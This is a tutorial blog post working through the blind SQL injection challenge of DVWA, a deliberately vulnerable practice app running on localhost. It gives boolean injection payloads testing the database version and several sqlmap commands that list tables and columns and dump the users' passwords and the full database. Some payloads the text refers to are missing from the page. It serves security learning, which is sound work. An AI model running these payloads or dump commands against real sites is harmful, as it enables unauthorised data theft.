In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."
To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:
Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:
Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:
We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.Enter the following in the User ID field:Again we get a valid response lets increase the number to 2.We get a valid response again lets go for 3.We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:1' and substring(version(), 1,1) = 1-- -
1' and substring(version(),1,1) = 2-- -
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all
References:
1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection2. sqlmap: http://sqlmap.org/3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp Read more
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